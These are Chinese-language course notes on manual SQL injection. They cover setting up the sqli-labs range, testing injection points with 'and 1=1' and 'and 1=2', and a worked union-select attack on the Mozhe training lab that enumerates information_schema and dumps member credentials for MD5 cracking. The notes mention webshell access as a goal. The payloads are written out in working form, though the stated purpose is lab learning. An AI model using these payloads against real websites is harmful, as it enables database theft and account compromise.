目录
前言
在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
学习顺序:从右往左、从上往下
基础知识
忍者安全测试系统使用说明
禁用软盘在安装,磁盘给的大一点50G基本100G,系统序列号可以跳过
百分之八九十的工具好像都有
1.1. SQL注入安全测试中的危害
大部分SQL注入是对数据库内的数据进行操作,绕过查询更新删除。SQL注入能操作数据,涉及数据的操作的目的
可以执行后门写入,getwebshell,获取权限(满足权限需要)
1.2. SQL注入产生原理详细分析
前提条件:可控变量,带入数据库查询,变量未存在过滤或过滤不严重
- 可控变量:指变量是可以被控制,而不是由代码已经定义死不能与外界交互
- 语句不带入数据库执行,也不能达成注入目的
- 查一查变量是否合法,就能直接打断注入的可能性
1.3. 搭建第一个SQL注入学习靶场环境
使用 Audi-1/sqli-labs 靶场,phpstudy搭建环境
常使用的数据库命令:
- show databases;
- use 数据库;
- show tables;
- select * from 表;
- mysql.exe -uroot -proot,从本机命令行切换回数据库命令行
(早不讲就开始用,我都知道了才讲)
首先添加显示语句便于查看数据库命令
1.4. 如何判断注入点
-
牢房法:
-
and 1=1 页面正常+
and 1=2 页面错误=
可能存在注入点
总之可控变量是可能有了
或者可以在参数后边输入离谱的数据
均是测试修改参数是否被可以带入数据库执行。如果直接跳转主页或者404则是由检测,无法注入(过于老套)
1.5. SQL注入语句(老式)
使用:and 1=1 和 and 1=2
,测试注入点
原理:数据库命令存在逻辑运算符,即为: 或or、且and、非xor
两个有关注入的例题:(根据上篇的靶场数据库注入经历来看)
1.可能存在注入的编号选项有那几个:
- www.xiaodi8.com/index.php?id=8
- www.xiaodi8.com/?id=10
- www.xiaodi8.com/?id=10&x=1
- www.xiaodi8.com/index.php
前三个存在目前的sql注入,因为存在变量就可以测试变量是否可控等(不从域名上传递参数,也存在从post数据包传递参数的方法)
2.参数x有注入,以下那个注入测试正确
- www.xiaodi8.com/news.php?y=1 and 1=1&x=2
- www.xiaodi8.com/news.php?y=1&x=2 and 1=1
- www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1
- www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1
注入哪个参数,就在那个参数后边添加数据,因此是2和3(域名:参数&参数,可随意换位置)
1.6. MySql数据库结构
- 数据库A – 网站A–数据库用户A
- 表名
- 列名
- 数据
- 列名
- 表名
- 数据库B – 网站B–数据库用户B
- ……
- 数据库C – 网站C–数据库用户C
- ……
数据库用户:用户管理数据库,智能管理数据库
低版本可以爆破(随缘)
数据库用户权限高的话可以进行高操作
文件读写,需要数据库目录、用户权限等(可以通过注入获取信息),俗称get shell
案例演示
2.1. 简易代码分析SQL注入原理
数据库注入流程:
- 拼接数据
- 执行语句
- 结果展示
原理在于拼接恶意sql语句达到恶意的执行效果、自定义语句查询自定义的文件,sql语句被更改会执行出不该有的结果,但是当程序员处理得当时没有注入点
- 输入id=1时:
http://127.0.0.1/sqli-labs/Less-2/?id=1
,访问正常
- 修改为id=-1时:
http://127.0.0.1/sqli-labs/Less-2/?id=-1
,返回空,没有id为-1
- 拼接字符串:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,email_id,3 from emails
,返回emails表中信息
2.2. Sqlilabs注入靶场搭建简要使用
- 下载网站源码放到根目录下
- 修改配置文件中数据库账密部分
- 网页访问http://127.0.0.1/sqli-labs/
- 网页上点击数据库初始化建立
- 终得默认数据库名为:security的数据库
2.3. 墨者靶机真实MySql注入演示
使用 墨者学院-SQL手工注入漏洞测试(MySQL数据库) 在线靶场
- 首先根据页面上的跳转页找到提供参数的跳转页
- 猜解列名数量:
order by 数字
:当“id=1 order by 4”为极限不报错的数据,id查询的数据表有四列 - 报错猜解准备:
使原查询为空,查询1,2,3,4:id=-1%20union select 1,2,3,4
,主要是看哪个位置的数字能显示4. 信息收集
信息收集的函数替换掉数字的位置,返回信息
- 数据库版本:version(); 5.7.22-0ubuntu0.16.04.1
- 数据库名称:database(); mozhe_Discuz_StormGroup
- 数据库用户:user(); root@localhost
- 操作系统:@@version_compile_os; Linux
查询库版本和名称:“id=-1 union select 1,version(),database(),4”
查询库用户和操作系统:“id=-1%20union select 1,user(),@@version_compile_os,4”
哪里显示数字,就修改那个数字为函数
- 在MySQL5.0以上版本中,MySQL存在一个自带数据库名为 information_achema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。数据库中符号“.”(点)代表下一级,如 “xaiodi.user” 表示xiaodi数据库下的user表名。
- information_schema.tables:记录所有表名信息的表
- information_schema.columns:记录所有列名信息的表
- tables、columns表中的列名
- table_name:表名
- column_name:列名
- table_schema:数据库名
-
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息
select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
换句话说:在information_achema数据库下的tables表中查询table_schema列中的值为mozhe_Discuz_StormGroup的每行数据所对应的table_name值。(个人理解思路)
-
查询指定表名下得列名信息
select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
换句话说:查询from information_schema.columns表中,table_name列中值为StormGroup_member所在行对应的每条column_name值。
-
查询指定数据(知道表明和列名,直接查询数据)
select 1,group_concat(name),group_concat(password),4 from StormGroup_member
-
在线md5解密即得登陆用账密,直接就能解密不需要salt
猜解多个数据可以采用“limit,x,1”变动猜解,x为变量值